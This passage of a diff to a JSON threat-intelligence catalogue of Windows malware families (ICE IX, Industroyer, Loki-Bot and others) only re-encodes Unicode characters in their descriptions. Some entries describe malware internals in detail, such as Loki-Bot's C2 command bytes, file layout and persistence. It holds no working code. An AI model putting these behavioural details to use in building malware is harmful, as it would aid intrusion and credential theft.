postdata=/var/lib/inetsim/http/postdata/a90b931cb23df85aa6e3f0039958b031c3b053a2", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid", @@ -30026,7 +30026,7 @@ "value": "win.icexloader" }, { - "description": "The ICE IX bot is a banking trojan derived of the Zeus botnet because it uses significant parts of Zeus\u2019s source code. ICE IX communicates using the HTTP protocol, so it can be considered to be a third-generation botnet. While it has been used for a variety of purposes, a primary threat of ICE IX comes from its manipulation of banking operations on compromised machines. As with any bot, execution of the bot results in establishing a master-slave relationship between the botmaster and the compromised computer.", + "description": "The ICE IX bot is a banking trojan derived of the Zeus botnet because it uses significant parts of Zeus’s source code. ICE IX communicates using the HTTP protocol, so it can be considered to be a third-generation botnet. While it has been used for a variety of purposes, a primary threat of ICE IX comes from its manipulation of banking operations on compromised machines. As with any bot, execution of the bot results in establishing a master-slave relationship between the botmaster and the compromised computer.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ice_ix", @@ -30087,7 +30087,7 @@ "value": "IcyHeart" }, { - "description": "According to Rapid7, this is a loader first spotted in July 2023. It implements several evasion techniques including Process Doppelg\u00e4nging, DLL Search Order Hijacking, and Heaven's Gate. IDAT loader got its name as the threat actor stores the malicious payload in the IDAT chunk of PNG file format.", + "description": "According to Rapid7, this is a loader first spotted in July 2023. It implements several evasion techniques including Process Doppelgänging, DLL Search Order Hijacking, and Heaven's Gate. IDAT loader got its name as the threat actor stores the malicious payload in the IDAT chunk of PNG file format.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.idat_loader", @@ -30248,7 +30248,7 @@ "value": "Industrial Spy" }, { - "description": "Industroyer is a malware framework considered to have been used in the cyberattack on Ukraine\u2019s power grid on December 17, 2016. The attack cut a fifth of Kiev, the capital, off power for one hour. It is the first ever known malware specifically designed to attack electrical grids.", + "description": "Industroyer is a malware framework considered to have been used in the cyberattack on Ukraine’s power grid on December 17, 2016. The attack cut a fifth of Kiev, the capital, off power for one hour. It is the first ever known malware specifically designed to attack electrical grids.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.industroyer", @@ -30480,7 +30480,7 @@ "value": "Ironcat" }, { - "description": " IRONHALO is a downloader that uses the HTTP protocol to retrieve a Base64 encoded payload from a hard-coded command-and-control (CnC) server and uniform resource locator (URL) path.\r\n The encoded payload is written to a temporary file, decoded and executed in a hidden window. The encoded and decoded payloads are written to files named igfxHK[%rand%].dat and igfxHK[%rand%].exe respectively, where [%rand%] is a 4-byte hexadecimal number based on the current timestamp. It persists by copying itself to the current user\u2019s Startup folder.", + "description": " IRONHALO is a downloader that uses the HTTP protocol to retrieve a Base64 encoded payload from a hard-coded command-and-control (CnC) server and uniform resource locator (URL) path.\r\n The encoded payload is written to a temporary file, decoded and executed in a hidden window. The encoded and decoded payloads are written to files named igfxHK[%rand%].dat and igfxHK[%rand%].exe respectively, where [%rand%] is a 4-byte hexadecimal number based on the current timestamp. It persists by copying itself to the current user’s Startup folder.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.ironhalo", @@ -30509,7 +30509,7 @@ "value": "IronNetInjector" }, { - "description": "According to Recorded Future, IsaacWiper is a destructive malware that overwrites all physical disks and logical volumes on a victim\u2019s machine.", + "description": "According to Recorded Future, IsaacWiper is a destructive malware that overwrites all physical disks and logical volumes on a victim’s machine.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.isaacwiper", @@ -30877,7 +30877,7 @@ "value": "Janeleiro" }, { - "description": "Jason is a graphic tool implemented to perform Microsoft exchange account brute-force in order to \u201charvest\u201d the highest possible emails and accounts information. Distributed in a ZIP container the interface is quite intuitive: the Microsoft exchange address and its version shall be provided. Three brute-force methods could be selected: EWS (Exchange Web Service), OAB (Offline Address Book) or both (All). Username and password list can be selected and threads number should be provided in order to optimize the attack balance.", + "description": "Jason is a graphic tool implemented to perform Microsoft exchange account brute-force in order to “harvest” the highest possible emails and accounts information. Distributed in a ZIP container the interface is quite intuitive: the Microsoft exchange address and its version shall be provided. Three brute-force methods could be selected: EWS (Exchange Web Service), OAB (Offline Address Book) or both (All). Username and password list can be selected and threads number should be provided in order to optimize the attack balance.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.jason", @@ -30936,7 +30936,7 @@ "value": "Jeno" }, { - "description": "JessieConTea is a remote access trojan that uses HTTP(S) for communication. It supports around 30 commands that include operations on the victim\u2019s filesystem, basic process management, file exfiltration (both plain and zipped), and the download and execution of additional tools from the attacker\u2019s arsenal. The commands are indexed by 32-bit integers, starting with the value 0x60D49D97.\r\n\r\nThe malware was delivered in-the-wild via trojanized applications like DeFi Wallet or Citrix Workspace.\r\n\r\nJessieConTea generates POST parameters with a specific parameter name, jsessid, from which the initial part of its name is derived. Also, it contains a specific RTTI symbol \".?AVCHttpConn@@\", which inspired the second part of the name. It uses RC4 for C&C traffic encryption.\r\n", + "description": "JessieConTea is a remote access trojan that uses HTTP(S) for communication. It supports around 30 commands that include operations on the victim’s filesystem, basic process management, file exfiltration (both plain and zipped), and the download and execution of additional tools from the attacker’s arsenal. The commands are indexed by 32-bit integers, starting with the value 0x60D49D97.\r\n\r\nThe malware was delivered in-the-wild via trojanized applications like DeFi Wallet or Citrix Workspace.\r\n\r\nJessieConTea generates POST parameters with a specific parameter name, jsessid, from which the initial part of its name is derived. Also, it contains a specific RTTI symbol \".?AVCHttpConn@@\", which inspired the second part of the name. It uses RC4 for C&C traffic encryption.\r\n", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.jessiecontea", @@ -31584,7 +31584,7 @@ "value": "Khonsari" }, { - "description": "According to Unit42, KHRAT is a Trojan that registers victims using their infected machine\u2019s username, system language and local IP address. KHRAT provides the threat actors typical RAT features and access to the victim system, including keylogging, screenshot capabilities, remote shell access and so on.", + "description": "According to Unit42, KHRAT is a Trojan that registers victims using their infected machine’s username, system language and local IP address. KHRAT provides the threat actors typical RAT features and access to the victim system, including keylogging, screenshot capabilities, remote shell access and so on.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.khrat", @@ -31631,7 +31631,7 @@ "value": "KillAV" }, { - "description": "KillDisk is a generic detection name used by ESET to refer to destructive malware with disk wiping capabilities, such as damaging boot sectors and overwriting then deleting (system) files, followed by a reboot to render the machine unusable. Although all KillDisk malware has similar functionality, as a generic detection, individual samples do not necessarily have strong code similarities or relationships. Such generic malware detections usually have many \u201csub-families\u201d, distinguished by the detection suffix (e.g. KillDisk.NBO, KillDisk.NCV, and KillDisk.NCX). Sub-family variants that do have strong code similarities, are sometimes seen in separate cyberattacks and thus can help researchers make connections between them. ", + "description": "KillDisk is a generic detection name used by ESET to refer to destructive malware with disk wiping capabilities, such as damaging boot sectors and overwriting then deleting (system) files, followed by a reboot to render the machine unusable. Although all KillDisk malware has similar functionality, as a generic detection, individual samples do not necessarily have strong code similarities or relationships. Such generic malware detections usually have many “sub-families”, distinguished by the detection suffix (e.g. KillDisk.NBO, KillDisk.NCV, and KillDisk.NCX). Sub-family variants that do have strong code similarities, are sometimes seen in separate cyberattacks and thus can help researchers make connections between them. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.killdisk", @@ -32320,7 +32320,7 @@ "value": "LaplasClipper" }, { - "description": "FireEye describes this malware as a highly obfuscated bot that has been in the wild since mid-2013. It has managed to leave hardly any traces on the Internet, is capable of watching its victims without ever being noticed, and can even corrupt a hard disk, thus making a PC useless.\r\n\r\nUsing Dynamic Threat Intelligence, they have observed multiple campaigns targeting multiple industries in the United States, United Kingdom, South Korea, Brazil, United Arab Emirates, Singapore, Canada, Peru and Poland \u2013 primarily in the financial services and insurance sectors. Although the infection strategy is not new, the final payload dropped \u2013 which they named LATENTBOT \u2013 caught attention since it implements several layers of obfuscation, a unique exfiltration mechanism, and has been very successful at infecting multiple organizations.", + "description": "FireEye describes this malware as a highly obfuscated bot that has been in the wild since mid-2013. It has managed to leave hardly any traces on the Internet, is capable of watching its victims without ever being noticed, and can even corrupt a hard disk, thus making a PC useless.\r\n\r\nUsing Dynamic Threat Intelligence, they have observed multiple campaigns targeting multiple industries in the United States, United Kingdom, South Korea, Brazil, United Arab Emirates, Singapore, Canada, Peru and Poland – primarily in the financial services and insurance sectors. Although the infection strategy is not new, the final payload dropped – which they named LATENTBOT – caught attention since it implements several layers of obfuscation, a unique exfiltration mechanism, and has been very successful at infecting multiple organizations.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.latentbot", @@ -32618,7 +32618,7 @@ "value": "LightNeuron" }, { - "description": "Lightning stealer can target 30+ Firefox and Chromium-based browsers and steal crypto wallets, Telegram data, Discord tokens, and Steam user\u2019s data. Unlike other info stealers, Lightning Stealer stores all the stolen data in the JSON format for exfiltration. ", + "description": "Lightning stealer can target 30+ Firefox and Chromium-based browsers and steal crypto wallets, Telegram data, Discord tokens, and Steam user’s data. Unlike other info stealers, Lightning Stealer stores all the stolen data in the JSON format for exfiltration. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lightning_stealer", @@ -33111,7 +33111,7 @@ "value": "LockPOS" }, { - "description": "Loda is a previously undocumented AutoIT malware with a variety of capabilities for spying on victims. Proofpoint first observed Loda in September of 2016 and it has since grown in popularity. The name Loda is derived from a directory to which the malware author chose to write keylogger logs. It should be noted that some antivirus products currently detect Loda as \u201cTrojan.Nymeria\u201d, although the connection is not well-documented.", + "description": "Loda is a previously undocumented AutoIT malware with a variety of capabilities for spying on victims. Proofpoint first observed Loda in September of 2016 and it has since grown in popularity. The name Loda is derived from a directory to which the malware author chose to write keylogger logs. It should be noted that some antivirus products currently detect Loda as “Trojan.Nymeria”, although the connection is not well-documented.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.loda", @@ -33236,7 +33236,7 @@ "value": "LokiLocker" }, { - "description": "\"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets.\" - PhishMe\r\n\r\nLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.\r\n\r\nLoki-Bot accepts a single argument/switch of \u2018-u\u2019 that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.\r\n\r\nThe Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: \u201cB7E1C2CC98066B250DDB2123\u201c.\r\n\r\nLoki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: \u201c%APPDATA%\\ C98066\\\u201d.\r\n\r\nThere can be four files within the hidden %APPDATA% directory at any given time: \u201c.exe,\u201d \u201c.lck,\u201d \u201c.hdb\u201d and \u201c.kdb.\u201d They will be named after characters 13 thru 18 of the Mutex. For example: \u201c6B250D.\u201d Below is the explanation of their purpose:\r\n\r\nFILE EXTENSION\tFILE DESCRIPTION\r\n.exe\tA copy of the malware that will execute every time the user account is logged into\r\n.lck\tA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts\r\n.hdb\tA database of hashes for data that has already been exfiltrated to the C2 server\r\n.kdb\tA database of keylogger data that has yet to be sent to the C2 server\r\n\r\nIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.\r\n\r\nThe first packet transmitted by Loki-Bot contains application data.\r\n\r\nThe second packet transmitted by Loki-Bot contains decrypted Windows credentials.\r\n\r\nThe third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.\r\n\r\nCommunications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.\r\n\r\nThe first WORD of the HTTP Payload represents the Loki-Bot version.\r\n\r\nThe second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:\r\n\r\nBYTE\tPAYLOAD TYPE\r\n0x26\tStolen Cryptocurrency Wallet\r\n0x27\tStolen Application Data\r\n0x28\tGet C2 Commands from C2 Server\r\n0x29\tStolen File\r\n0x2A\tPOS (Point of Sale?)\r\n0x2B\tKeylogger Data\r\n0x2C\tScreenshot\r\n\r\nThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically \u201cckav.ru\u201d. If you come across a Binary ID that is different from this, take note!\r\n\r\nLoki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.\r\n\r\nThe Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bot\u2019s C2 infrastructure.\r\n\r\nLoki-Bot can accept the following instructions from the C2 Server:\r\n\r\nBYTE\tINSTRUCTION DESCRIPTION\r\n0x00\tDownload EXE & Execute\r\n0x01\tDownload DLL & Load #1\r\n0x02\tDownload DLL & Load #2\r\n0x08\tDelete HDB File\r\n0x09\tStart Keylogger\r\n0x0A\tMine & Steal Data\r\n0x0E\tExit Loki-Bot\r\n0x0F\tUpgrade Loki-Bot\r\n0x10\tChange C2 Polling Frequency\r\n0x11\tDelete Executables & Exit\r\n\r\nSuricata Signatures\r\nRULE SID\tRULE NAME\r\n2024311\tET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected\r\n2024312\tET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M1\r\n2024313\tET TROJAN Loki Bot Request for C2 Commands Detected M1\r\n2024314\tET TROJAN Loki Bot File Exfiltration Detected\r\n2024315\tET TROJAN Loki Bot Keylogger Data Exfiltration Detected M1\r\n2024316\tET TROJAN Loki Bot Screenshot Exfiltration Detected\r\n2024317\tET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M2\r\n2024318\tET TROJAN Loki Bot Request for C2 Commands Detected M2\r\n2024319\tET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2", + "description": "\"Loki Bot is a commodity malware sold on underground sites which is designed to steal private data from infected machines, and then submit that info to a command and control host via HTTP POST. This private data includes stored passwords, login credential information from Web browsers, and a variety of cryptocurrency wallets.\" - PhishMe\r\n\r\nLoki-Bot employs function hashing to obfuscate the libraries utilized. While not all functions are hashed, a vast majority of them are.\r\n\r\nLoki-Bot accepts a single argument/switch of ‘-u’ that simply delays execution (sleeps) for 10 seconds. This is used when Loki-Bot is upgrading itself.\r\n\r\nThe Mutex generated is the result of MD5 hashing the Machine GUID and trimming to 24-characters. For example: “B7E1C2CC98066B250DDB2123“.\r\n\r\nLoki-Bot creates a hidden folder within the %APPDATA% directory whose name is supplied by the 8th thru 13th characters of the Mutex. For example: “%APPDATA%\\ C98066\\”.\r\n\r\nThere can be four files within the hidden %APPDATA% directory at any given time: “.exe,” “.lck,” “.hdb” and “.kdb.” They will be named after characters 13 thru 18 of the Mutex. For example: “6B250D.” Below is the explanation of their purpose:\r\n\r\nFILE EXTENSION\tFILE DESCRIPTION\r\n.exe\tA copy of the malware that will execute every time the user account is logged into\r\n.lck\tA lock file created when either decrypting Windows Credentials or Keylogging to prevent resource conflicts\r\n.hdb\tA database of hashes for data that has already been exfiltrated to the C2 server\r\n.kdb\tA database of keylogger data that has yet to be sent to the C2 server\r\n\r\nIf the user is privileged, Loki-Bot sets up persistence within the registry under HKEY_LOCAL_MACHINE. If not, it sets up persistence under HKEY_CURRENT_USER.\r\n\r\nThe first packet transmitted by Loki-Bot contains application data.\r\n\r\nThe second packet transmitted by Loki-Bot contains decrypted Windows credentials.\r\n\r\nThe third packet transmitted by Loki-Bot is the malware requesting C2 commands from the C2 server. By default, Loki-Bot will send this request out every 10 minutes after the initial packet it sent.\r\n\r\nCommunications to the C2 server from the compromised host contain information about the user and system including the username, hostname, domain, screen resolution, privilege level, system architecture, and Operating System.\r\n\r\nThe first WORD of the HTTP Payload represents the Loki-Bot version.\r\n\r\nThe second WORD of the HTTP Payload is the Payload Type. Below is the table of identified payload types:\r\n\r\nBYTE\tPAYLOAD TYPE\r\n0x26\tStolen Cryptocurrency Wallet\r\n0x27\tStolen Application Data\r\n0x28\tGet C2 Commands from C2 Server\r\n0x29\tStolen File\r\n0x2A\tPOS (Point of Sale?)\r\n0x2B\tKeylogger Data\r\n0x2C\tScreenshot\r\n\r\nThe 11th byte of the HTTP Payload begins the Binary ID. This might be useful in tracking campaigns or specific threat actors. This value value is typically “ckav.ru”. If you come across a Binary ID that is different from this, take note!\r\n\r\nLoki-Bot encrypts both the URL and the registry key used for persistence using Triple DES encryption.\r\n\r\nThe Content-Key HTTP Header value is the result of hashing the HTTP Header values that precede it. This is likely used as a protection against researchers who wish to poke and prod at Loki-Bot’s C2 infrastructure.\r\n\r\nLoki-Bot can accept the following instructions from the C2 Server:\r\n\r\nBYTE\tINSTRUCTION DESCRIPTION\r\n0x00\tDownload EXE & Execute\r\n0x01\tDownload DLL & Load #1\r\n0x02\tDownload DLL & Load #2\r\n0x08\tDelete HDB File\r\n0x09\tStart Keylogger\r\n0x0A\tMine & Steal Data\r\n0x0E\tExit Loki-Bot\r\n0x0F\tUpgrade Loki-Bot\r\n0x10\tChange C2 Polling Frequency\r\n0x11\tDelete Executables & Exit\r\n\r\nSuricata Signatures\r\nRULE SID\tRULE NAME\r\n2024311\tET TROJAN Loki Bot Cryptocurrency Wallet Exfiltration Detected\r\n2024312\tET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M1\r\n2024313\tET TROJAN Loki Bot Request for C2 Commands Detected M1\r\n2024314\tET TROJAN Loki Bot File Exfiltration Detected\r\n2024315\tET TROJAN Loki Bot Keylogger Data Exfiltration Detected M1\r\n2024316\tET TROJAN Loki Bot Screenshot Exfiltration Detected\r\n2024317\tET TROJAN Loki Bot Application/Credential Data Exfiltration Detected M2\r\n2024318\tET TROJAN Loki Bot Request for C2 Commands Detected M2\r\n2024319\tET TROJAN Loki Bot Keylogger Data Exfiltration Detected M2", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lokipws", @@ -33353,7 +33353,7 @@ "value": "LONGWATCH" }, { - "description": "LooChiper is a Ransomware. It uses a nice but scary name: LooCipher. The name is at the same time an allusion to its capabilities (thank to the term \u201cCipher\u201d) and to the popular mythological figure, Lucifer. Despite its evocative nickname, the functionalities of this malware are pretty straight forward, not very different from those belonging to many other ransomware families. ", + "description": "LooChiper is a Ransomware. It uses a nice but scary name: LooCipher. The name is at the same time an allusion to its capabilities (thank to the term “Cipher”) and to the popular mythological figure, Lucifer. Despite its evocative nickname, the functionalities of this malware are pretty straight forward, not very different from those belonging to many other ransomware families. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.loochiper" @@ -33520,7 +33520,7 @@ "value": "lsassDumper" }, { - "description": "According to PCrisk, Lu0bot es un software malicioso. El malware es ligero, por lo que su uso de los recursos del sistema es bajo. Esto complica la detecci\u00f3n de Lu0bot, ya que no causa s\u00edntomas significativos, como una grave disminuci\u00f3n del rendimiento del sistema.\r\n\r\nEl programa malicioso funciona como un recolector de telemetr\u00eda. ", + "description": "According to PCrisk, Lu0bot es un software malicioso. El malware es ligero, por lo que su uso de los recursos del sistema es bajo. Esto complica la detección de Lu0bot, ya que no causa síntomas significativos, como una grave disminución del rendimiento del sistema.\r\n\r\nEl programa malicioso funciona como un recolector de telemetría. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.lu0bot", @@ -33749,7 +33749,7 @@ "value": "Macaw" }, { - "description": "According to ESET, Machete\u2019s dropper is a RAR SFX executable. Three py2exe components are dropped: GoogleCrash.exe, Chrome.exe and GoogleUpdate.exe. A single configuration file, jer.dll, is dropped, and it contains base64\u2011encoded text that corresponds to AES\u2011encrypted strings.\r\nGoogleCrash.exe is the main component of the malware. It schedules execution of the other two components and creates Windows Task Scheduler tasks to achieve persistence.\r\nRegarding the geolocation of victims, Chrome.exe collects data about nearby Wi-Fi networks and sends it to the Mozilla Location Service API. In short, this application provides geolocation coordinates when it\u2019s given other sources of data such as Bluetooth beacons, cell towers or Wi-Fi access points. Then the malware takes latitude and longitude coordinates to build a Google Maps URL.\r\nThe GoogleUpdate.exe component is responsible for communicating with the remote C&C server. The configuration to set the connection is read from the jer.dll file: domain name, username and password. The principal means of communication for Machete is via FTP, although HTTP communication was implemented as a fallback in 2019.", + "description": "According to ESET, Machete’s dropper is a RAR SFX executable. Three py2exe components are dropped: GoogleCrash.exe, Chrome.exe and GoogleUpdate.exe. A single configuration file, jer.dll, is dropped, and it contains base64‑encoded text that corresponds to AES‑encrypted strings.\r\nGoogleCrash.exe is the main component of the malware. It schedules execution of the other two components and creates Windows Task Scheduler tasks to achieve persistence.\r\nRegarding the geolocation of victims, Chrome.exe collects data about nearby Wi-Fi networks and sends it to the Mozilla Location Service API. In short, this application provides geolocation coordinates when it’s given other sources of data such as Bluetooth beacons, cell towers or Wi-Fi access points. Then the malware takes latitude and longitude coordinates to build a Google Maps URL.\r\nThe GoogleUpdate.exe component is responsible for communicating with the remote C&C server. The configuration to set the connection is read from the jer.dll file: domain name, username and password. The principal means of communication for Machete is via FTP, although HTTP communication was implemented as a fallback in 2019.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.machete", @@ -33997,7 +33997,7 @@ "value": "MakLoader" }, { - "description": "BeforeCrypt describes that MAKOP Ransomware first appeared in 2020 as an offshoot of the PHOBOS variant, and that it has infected a number of computers since then. Files encrypted by MAKOP often have the extension \u201c.makop\u201d. You may also notice that your desktop wallpaper has changed. MAKOP uses RSA encryption. There are no known free decryption tools capable of decrypting files encrypted by MAKOP.", + "description": "BeforeCrypt describes that MAKOP Ransomware first appeared in 2020 as an offshoot of the PHOBOS variant, and that it has infected a number of computers since then. Files encrypted by MAKOP often have the extension “.makop”. You may also notice that your desktop wallpaper has changed. MAKOP uses RSA encryption. There are no known free decryption tools capable of decrypting files encrypted by MAKOP.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.makop", @@ -34014,7 +34014,7 @@ "value": "Makop" }, { - "description": "BeforeCrypt describes that MAKOP Ransomware first appeared in 2020 as an offshoot of the PHOBOS variant, and that it has infected a number of computers since then. Files encrypted by MAKOP often have the extension \u201c.makop\u201d. You may also notice that your desktop wallpaper has changed. MAKOP uses RSA encryption. There are no known free decryption tools capable of decrypting files encrypted by MAKOP.", + "description": "BeforeCrypt describes that MAKOP Ransomware first appeared in 2020 as an offshoot of the PHOBOS variant, and that it has infected a number of computers since then. Files encrypted by MAKOP often have the extension “.makop”. You may also notice that your desktop wallpaper has changed. MAKOP uses RSA encryption. There are no known free decryption tools capable of decrypting files encrypted by MAKOP.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.makop_ransomware", @@ -34982,7 +34982,7 @@ "value": "Metamorfo" }, { - "description": "On March 7, 2022, KELA observed a threat actor named _META_ announcing the launch of META \u2013 a new information-stealing malware, available for sale for USD125 per month or USD1000 for unlimited use. The actor claimed it has the same functionality, code, and panel as the Redline stealer, but with several improvements.", + "description": "On March 7, 2022, KELA observed a threat actor named _META_ announcing the launch of META – a new information-stealing malware, available for sale for USD125 per month or USD1000 for unlimited use. The actor claimed it has the same functionality, code, and panel as the Redline stealer, but with several improvements.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.metastealer", @@ -35602,7 +35602,7 @@ "value": "Mirai (Windows)" }, { - "description": "According to Minerva Labs, MirrorBlast malware is a trojan that is known for attacking users\u2019 browsers. It usually pretends to be a legitimate browser add-on however it has now evolved additional capabilities, whereby other malwares are installed simultaneously. Recently, this trojan is thought to have tentative links to TA505 and PYSA groups.", + "description": "According to Minerva Labs, MirrorBlast malware is a trojan that is known for attacking users’ browsers. It usually pretends to be a legitimate browser add-on however it has now evolved additional capabilities, whereby other malwares are installed simultaneously. Recently, this trojan is thought to have tentative links to TA505 and PYSA groups.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mirrorblast", @@ -35674,7 +35674,7 @@ "value": "Misha" }, { - "description": "According to ESET Research, Mispadu is an ambitious Latin American banking trojan that utilizes McDonald\u2019s malvertising and extends its attack surface to web browsers. It is used to target the general public and its main goals are monetary and credential theft. In Brazil, ESET has seen it distributing a malicious Google Chrome extension that attempts to steal credit card data and online banking data, and that compromises the Boleto payment system.", + "description": "According to ESET Research, Mispadu is an ambitious Latin American banking trojan that utilizes McDonald’s malvertising and extends its attack surface to web browsers. It is used to target the general public and its main goals are monetary and credential theft. In Brazil, ESET has seen it distributing a malicious Google Chrome extension that attempts to steal credit card data and online banking data, and that compromises the Boleto payment system.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mispadu", @@ -35816,7 +35816,7 @@ "value": "MoDi RAT" }, { - "description": "ModPipe is point-of-sale (POS) malware capable of accessing sensitive information stored in devices running ORACLE MICROS Restaurant Enterprise Series (RES) 3700 POS \u2013 a management software suite used by hundreds of thousands of bars, restaurants, hotels and other hospitality establishments worldwide. ModPipe uses modular architecture consisting of basic components and downloadable modules. One of them \u2013 named GetMicInfo \u2013 contains an algorithm designed to gather database passwords by decrypting them from Windows registry values. Exfiltrated credentials allow ModPipe's operators access to database contents, including various definitions and configuration, status tables and information about POS transactions. ", + "description": "ModPipe is point-of-sale (POS) malware capable of accessing sensitive information stored in devices running ORACLE MICROS Restaurant Enterprise Series (RES) 3700 POS – a management software suite used by hundreds of thousands of bars, restaurants, hotels and other hospitality establishments worldwide. ModPipe uses modular architecture consisting of basic components and downloadable modules. One of them – named GetMicInfo – contains an algorithm designed to gather database passwords by decrypting them from Windows registry values. Exfiltrated credentials allow ModPipe's operators access to database contents, including various definitions and configuration, status tables and information about POS transactions. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.modpipe", @@ -36156,7 +36156,7 @@ "value": "Mosquito" }, { - "description": "According to BlackBerry, MountLocker is a Ransomware-as-a-Service (RaaS), active since July 2020\r\nThe MountLocker ransomware was updated during early November 2020 to broaden the targeting of file types and evade security software.\r\nVictim\u2019s files are encrypted using ChaCha20, and file encryption keys are encrypted using RSA-2048.\r\nThe ransomware appears to be somewhat secure; there are no trivial weaknesses allowing for easy key recovery and decryption of data. MountLocker does however use a cryptographically insecure method for key generation that may be prone to attack.", + "description": "According to BlackBerry, MountLocker is a Ransomware-as-a-Service (RaaS), active since July 2020\r\nThe MountLocker ransomware was updated during early November 2020 to broaden the targeting of file types and evade security software.\r\nVictim’s files are encrypted using ChaCha20, and file encryption keys are encrypted using RSA-2048.\r\nThe ransomware appears to be somewhat secure; there are no trivial weaknesses allowing for easy key recovery and decryption of data. MountLocker does however use a cryptographically insecure method for key generation that may be prone to attack.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.mount_locker", @@ -39017,7 +39017,7 @@ "value": "Peppy RAT" }, { - "description": "The PetrWrap Trojan is written in C and compiled in MS Visual Studio. It carries a sample of the Petya ransomware v3 inside its data section and uses Petya to infect the victim\u2019s machine. What\u2019s more, PetrWrap implements its own cryptographic routines and modifies the code of Petya in runtime to control its execution. This allows the criminals behind PetrWrap to hide the fact that they are using Petya during infection.", + "description": "The PetrWrap Trojan is written in C and compiled in MS Visual Studio. It carries a sample of the Petya ransomware v3 inside its data section and uses Petya to infect the victim’s machine. What’s more, PetrWrap implements its own cryptographic routines and modifies the code of Petya in runtime to control its execution. This allows the criminals behind PetrWrap to hide the fact that they are using Petya during infection.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.petrwrap", @@ -39381,7 +39381,7 @@ "value": "PILLOWMINT" }, { - "description": "According to F-Secure, the PinchDuke information stealer gathers system configuration information, steals user credentials, and collects user files from the compromised host transferring these via HTTP(S) to a C&C server. F-Secure believes that PinchDuke\u2019s credential stealing functionality is based on the source code of the Pinch credential stealing malware (also known as LdPinch) that was developed in the early 2000s and has later been openly distributed on underground forums.", + "description": "According to F-Secure, the PinchDuke information stealer gathers system configuration information, steals user credentials, and collects user files from the compromised host transferring these via HTTP(S) to a C&C server. F-Secure believes that PinchDuke’s credential stealing functionality is based on the source code of the Pinch credential stealing malware (also known as LdPinch) that was developed in the early 2000s and has later been openly distributed on underground forums.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.pinchduke", @@ -40287,7 +40287,7 @@ "value": "Poulight Stealer" }, { - "description": "According to Trend Micro, Povlsomware (Ransom.MSIL.POVLSOM.THBAOBA) is a proof-of-concept (POC) ransomware first released in November 2020 which, according to their Github page, is used to \u201csecurely\u201d test the ransomware protection capabilities of security vendor products.", + "description": "According to Trend Micro, Povlsomware (Ransom.MSIL.POVLSOM.THBAOBA) is a proof-of-concept (POC) ransomware first released in November 2020 which, according to their Github page, is used to “securely” test the ransomware protection capabilities of security vendor products.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.povlsomware", @@ -40869,7 +40869,7 @@ "value": "pupy (Windows)" }, { - "description": "According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021\r\nThe malware has been observed distributing a variety of remote access trojans and information stealers\r\nThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software products\r\nPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Google\u2019s Protocol Buffer message format ", + "description": "According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021\r\nThe malware has been observed distributing a variety of remote access trojans and information stealers\r\nThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software 